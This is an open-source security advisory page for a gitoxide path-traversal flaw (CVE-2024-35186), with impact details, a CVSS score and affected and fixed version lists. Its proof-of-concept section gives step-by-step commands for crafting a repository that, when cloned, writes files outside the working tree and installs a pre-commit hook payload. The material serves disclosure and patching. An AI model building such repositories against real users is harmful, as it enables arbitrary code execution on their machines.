Ecosyste.ms: Advisories

An open API service providing security vulnerability metadata for many open source software ecosystems.

Security Advisories: GSA_kwCzR0hTQS03dzQ3LTN3ZzgtNTQ3Y84AA8fW

gix traversal outside working tree enables arbitrary code execution

Summary

During checkout, gitoxide does not verify that paths point to locations in the working tree. A specially crafted repository can, when cloned, place new files anywhere writable by the application.

Details

Although gix-worktree-state checks for collisions with existing files, it does not itself check if a path is really in the working tree when performing a checkout, nor do the path checks in gix-fs and gix-worktree prevent this. Cloning an untrusted repository containing specially crafted tree or blob names will create new files outside the repository, or inside the repository or a submodule's .git directory. The simplest cases are:

A number of alternatives that achieve the same effect are also possible, some of which correspond to specific vulnerabilities that have affected Git in the past:

When a checkout creates some files outside the repository directory but fails to complete, the repository directory is usually removed, but the outside files remain.

PoC

For simplicity, these examples stage a stand-in file with a valid name, modify the index, and commit. The instructions assume sed supports -i, which is the case on most systems. If using Windows, a Git Bash shell should be used.

Example: Downward traversal to install hooks

  1. Create a new repository with git init dangerous-repo-installs-hook and cd into the directory.
  2. Create the stand-in called .git@hooks@pre-commit, with the contents:
    #!/bin/sh
    printf 'Vulnerable!\n'
    date >vulnerable
    
  3. Stage the stand-in: git add --chmod=+x .git@hooks@pre-commit
  4. Edit the index: env LC_ALL=C sed -i.orig 's|\.git@hooks@pre-commit|.git/hooks/pre-commit|' .git/index
  5. Commit: git commit -m 'Initial commit'
  6. Optionally, push to a private remote.

Then, on another or the same machine:

  1. Clone the repository with a gix clone … command.
  2. Enter the newly created directory.
  3. Optionally run ls -l .git/hooks to observe that the pre-commit hook is already present.
  4. Make a new file and commit it with git. This causes the payload surreptitiously installed as a pre-commit hook to run, printing the message Vulnerable! and creating a file in the current directory containing the current date and time.

Note that the effect is not limited to modifying the current directory. The payload could be written to perform any action that the user who runs git commit is capable of.

Example: Upward traversal to create a file above the working tree

  1. Create a new repository with git init dangerous-repo-reaches-up, and cd into the directory.
  2. Create the stand-in: echo 'A file outside the working tree, somehow.' >..@outside
  3. Stage the stand-in: git add ..@outside
  4. Edit the index: env LC_ALL=C sed -i.orig 's|\.\.@outside|../outside|' .git/index
  5. Commit: git commit -m 'Initial commit'
  6. Optionally, push to a private remote.

Then, as above, on the same or another machine, clone the repository with a gix clone … command. Observe that a file named outside is present alongside (not inside) the cloned directory.

Impact

Any use of gix or another application that makes use of gix-worktree-state, or otherwise relies on gix-fs and gix-worktree for validation, is affected, if used to clone untrusted repositories. The above description focuses on code execution, as that leads to a complete loss of confidentiality, integrity, and availability, but creating files outside a working tree without attempting to execute code can directly impact integrity as well.

In use cases where no untrusted repository is ever cloned, this vulnerability has no impact. Furthermore, the impact of this vulnerability may be lower when gix is used to clone a repository for CI/CD purposes, even if untrusted, since in such uses the environment is usually isolated and arbitrary code is usually run deliberately from the repository with necessary safeguards in place.

Permalink: https://github.com/advisories/GHSA-7w47-3wg8-547c
JSON: https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03dzQ3LTN3ZzgtNTQ3Y84AA8fW
Source: GitHub Advisory Database
Origin: Unspecified
Severity: High
Classification: General
Published: 4 months ago
Updated: about 1 month ago


CVSS Score: 8.8
CVSS vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Identifiers: GHSA-7w47-3wg8-547c, CVE-2024-35186
References: Repository: https://github.com/Byron/gitoxide
Blast Radius: 24.8

Affected Packages

cargo:gix-index
Dependent packages: 5
Dependent repositories: 396
Downloads: 5,164,769 total
Affected Version Ranges: < 0.33.0
Fixed in: 0.33.0
All affected versions: 0.12.3, 0.12.4, 0.13.0, 0.14.0, 0.15.0, 0.15.1, 0.16.0, 0.16.1, 0.17.0, 0.18.0, 0.19.0, 0.20.0, 0.21.0, 0.21.1, 0.22.0, 0.23.0, 0.23.1, 0.24.0, 0.25.0, 0.26.0, 0.27.0, 0.27.1, 0.28.0, 0.28.1, 0.28.2, 0.29.0, 0.30.0, 0.31.0, 0.31.1, 0.32.0, 0.32.1
All unaffected versions: 0.33.0, 0.33.1, 0.34.0, 0.35.0
cargo:gitoxide-core
Dependent packages: 2
Dependent repositories: 2
Downloads: 55,396 total
Affected Version Ranges: < 0.38.0
Fixed in: 0.38.0
All affected versions: 0.1.0, 0.3.0, 0.4.0, 0.4.1, 0.6.0, 0.7.0, 0.8.0, 0.9.0, 0.10.0, 0.10.1, 0.10.2, 0.10.3, 0.10.4, 0.10.5, 0.11.0, 0.12.0, 0.13.0, 0.14.0, 0.15.0, 0.16.0, 0.17.0, 0.18.0, 0.19.0, 0.20.0, 0.21.0, 0.22.0, 0.23.0, 0.24.0, 0.25.0, 0.26.0, 0.27.0, 0.28.0, 0.29.0, 0.30.0, 0.31.0, 0.32.0, 0.33.0, 0.33.1, 0.34.0, 0.35.0, 0.36.0, 0.37.0
All unaffected versions: 0.38.0, 0.39.0, 0.39.1, 0.40.0
cargo:gix
Dependent packages: 57
Dependent repositories: 77
Downloads: 5,030,098 total
Affected Version Ranges: < 0.63.0
Fixed in: 0.63.0
All affected versions: 0.0.0, 0.35.0, 0.36.0, 0.36.1, 0.37.0, 0.37.1, 0.37.2, 0.38.0, 0.39.0, 0.40.0, 0.41.0, 0.42.0, 0.43.0, 0.43.1, 0.44.0, 0.44.1, 0.45.0, 0.45.1, 0.46.0, 0.47.0, 0.48.0, 0.49.0, 0.49.1, 0.50.0, 0.50.1, 0.51.0, 0.52.0, 0.53.0, 0.53.1, 0.54.0, 0.54.1, 0.55.0, 0.55.1, 0.55.2, 0.56.0, 0.57.0, 0.57.1, 0.58.0, 0.59.0, 0.60.0, 0.61.0, 0.61.1, 0.62.0
All unaffected versions: 0.63.0, 0.64.0, 0.65.0
cargo:gix-worktree
Dependent packages: 6
Dependent repositories: 380
Downloads: 4,640,409 total
Affected Version Ranges: < 0.34.0
Fixed in: 0.34.0
All affected versions: 0.12.2, 0.12.3, 0.13.0, 0.14.0, 0.15.0, 0.15.1, 0.15.2, 0.16.0, 0.17.0, 0.17.1, 0.18.0, 0.19.0, 0.20.0, 0.21.0, 0.21.1, 0.22.0, 0.23.0, 0.23.1, 0.24.0, 0.25.0, 0.26.0, 0.27.0, 0.28.0, 0.29.0, 0.29.1, 0.30.0, 0.31.0, 0.32.0, 0.33.0, 0.33.1
All unaffected versions: 0.34.0, 0.34.1, 0.35.0, 0.36.0
cargo:gix-fs
Dependent packages: 13
Dependent repositories: 653
Downloads: 7,609,308 total
Affected Version Ranges: < 0.11.0
Fixed in: 0.11.0
All affected versions: 0.1.0, 0.1.1, 0.2.0, 0.3.0, 0.4.0, 0.4.1, 0.5.0, 0.6.0, 0.7.0, 0.8.0, 0.8.1, 0.9.0, 0.9.1, 0.10.0, 0.10.1, 0.10.2
All unaffected versions: 0.11.0, 0.11.1, 0.11.2, 0.11.3
cargo:gitoxide
Dependent packages: 1
Dependent repositories: 1
Downloads: 58,951 total
Affected Version Ranges: < 0.36.0
Fixed in: 0.36.0
All affected versions: 0.1.0, 0.3.0, 0.4.0, 0.4.1, 0.4.3, 0.5.0, 0.6.0, 0.7.0, 0.8.0, 0.8.1, 0.8.2, 0.8.3, 0.8.4, 0.9.0, 0.10.0, 0.11.0, 0.12.0, 0.13.0, 0.14.0, 0.15.0, 0.16.0, 0.17.0, 0.18.0, 0.19.0, 0.20.0, 0.21.0, 0.22.0, 0.22.1, 0.23.0, 0.24.0, 0.25.0, 0.26.0, 0.27.0, 0.28.0, 0.29.0, 0.30.0, 0.31.0, 0.31.1, 0.32.0, 0.33.0, 0.34.0, 0.35.0
All unaffected versions: 0.36.0, 0.37.0
cargo:gix-worktree-state
Dependent packages: 1
Dependent repositories: 35
Downloads: 1,146,646 total
Affected Version Ranges: < 0.11.0
Fixed in: 0.11.0
All affected versions: 0.1.0, 0.2.0, 0.3.0, 0.4.0, 0.5.0, 0.6.0, 0.6.1, 0.7.0, 0.8.0, 0.9.0, 0.10.0
All unaffected versions: 0.11.0, 0.11.1, 0.12.0